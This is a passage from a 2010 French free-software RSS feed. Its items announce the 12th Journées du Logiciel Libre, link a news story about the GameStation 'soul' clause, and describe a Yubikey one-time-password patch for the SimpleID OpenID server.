	<pubDate>dim, 16 mai 2010 22:50:22 +0000</pubDate>
</item>
<item>
	<title>Journées du Logiciel Libre: Les 14, 15 et 16 octobre 2010 : 12e JDLL</title>
	<guid>http://jdll.org/archives/invariable/banner</guid>
	<link>http://jdll.org/archives/invariable/banner</link>
	<description>Les 11e Journées Du Logiciel Libre : c'est fini ! Satisfaction générale des participants. Noter la 12e édition sur l'agenda 2010...</description>
	<pubDate>mar, 11 mai 2010 06:39:59 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: 7.500 acheteurs sur internet ont involontairement vendu leur âme - Yahoo! Actualités</title>
	<guid>urn:md5:5528690909564c5137e01edb10eed68c</guid>
	<link>http://blog.alio.fr/?post/2010/04/16/7.500-acheteurs-sur-internet-ont-involontairement-vendu-leur-%C3%A2me-Yahoo%21-Actualit%C3%A9s2</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://fr.news.yahoo.com/55/20100416/tod-7-500-acheteurs-sur-internet-ont-inv-17baed7.html&quot;&gt;7.500 acheteurs sur internet ont involontairement vendu leur âme - Yahoo! Actualités&lt;/a&gt;&lt;/p&gt;


&lt;blockquote&gt;&lt;p&gt;Les dirigeants de GameStation ont toutefois précisé qu'ils ne feraient pas valoir leurs droits concernant l'âme de leurs clients.&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>ven, 16 avr 2010 08:37:00 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Strong Authentication for OpenID : Yubikey integration in SimpleID</title>
	<guid>http://blog.tuxz.net/12 at http://blog.tuxz.net</guid>
	<link>http://blog.tuxz.net/content/strong-authentication-openid-yubikey-integration-simpleid</link>
	<description>&lt;div class=&quot;field field-type-text field-field-introtext&quot;&gt;
    &lt;div class=&quot;field-items&quot;&gt;
            &lt;div class=&quot;field-item odd&quot;&gt;
                    &lt;p&gt;In a previous article, I've described a way to &lt;a href=&quot;http://blog.tuxz.net/content/openid-how-setup-your-own-identity-server-using-simpleid&quot;&gt;setup an OpenID&amp;nbsp;provider using SimpleID&lt;/a&gt;. Its only major drawback was the lack of support for any strong authentication ... since today. I've patched and released a version with Yubikey One-Time Password support.&lt;/p&gt;
        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This version is based on the latest released version available on the official SimpleID&amp;nbsp;website: 0.7.1 and also include patches to work correctly with PHP&amp;nbsp;5.3.1.&lt;br /&gt;
I will contact the author to see if he's interested in this feature and if he wants these patches to be included in the official SimpleID&amp;nbsp;tree, but if for any reason they would not be accepted, i'll keep my git repository up-to-date with any future release.&lt;/p&gt;
&lt;p&gt;More interesting than a long blahblah here is the git repository : &lt;a href=&quot;http://github.com/adedommelin/simpleid-yubikey&quot; title=&quot;http://github.com/adedommelin/simpleid-yubikey&quot;&gt;http://github.com/adedommelin/simpleid-yubikey&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Please take 2&amp;nbsp;minutes to read the small README&amp;nbsp;as it explains how to associate your key to your OpenID Identity.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
	<pubDate>ven, 19 mar 2010 22:59:49 +0000</pubDate>
</item>

</channel>
</rss>
